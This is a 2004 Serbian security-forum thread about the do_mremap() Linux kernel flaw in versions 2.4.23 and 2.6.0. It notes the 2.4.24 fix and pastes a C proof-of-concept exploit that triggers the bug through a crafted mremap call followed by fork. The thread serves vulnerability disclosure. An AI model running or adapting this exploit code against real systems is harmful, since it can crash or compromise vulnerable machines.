Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

do_mremap() vulnerability in Linux kernel

[es] :: Security :: do_mremap() vulnerability in Linux kernel

[ Pregleda: 2968 | Odgovora: 1 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

axez

Član broj: 1021
Poruke: 1388
*.dialup.neobee.net.



Profil

icon do_mremap() vulnerability in Linux kernel06.01.2004. u 21:58 - pre 247 meseci
Ovo moze dovesti do povecanja privilegija u 2.4.23 i 2.6.0 kernelima

Odmah je izasla 2.4.24 verzija kernela koja ispravlja ovaj problem.

Vise informacija ovde:
http://www.linuxsecurity.org/a...ost_security_article-8684.html

A evo ga i proof of concept exploit...;)



/*
* Proof-of-concept exploit code for do_mremap()
*
* Copyright (C) 2004 Christophe Devine and Julien Tinnes
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/

#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>

#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );

int main( void )
{
void *base;

base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
(void *) 0xC0000000 );

fork();

return( 0 );
}

 
Odgovor na temu

popeye
Branko Ivanović
Beograd

Član broj: 3846
Poruke: 960
*.pristop.co.yu

Jabber: popeye@elitesecurity.org
ICQ: 18038966
Sajt: popeye.linuxo.org


Profil

icon Re: do_mremap() vulnerability in Linux kernel08.01.2004. u 16:30 - pre 247 meseci
Samo da dopunim da je Angelo Dell'Aera dao kod koji identifikuje kernel sa greskom bez reseta masine. Kod je u prilogu.
Prikačeni fajlovi
 
Odgovor na temu

[es] :: Security :: do_mremap() vulnerability in Linux kernel

[ Pregleda: 2968 | Odgovora: 1 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.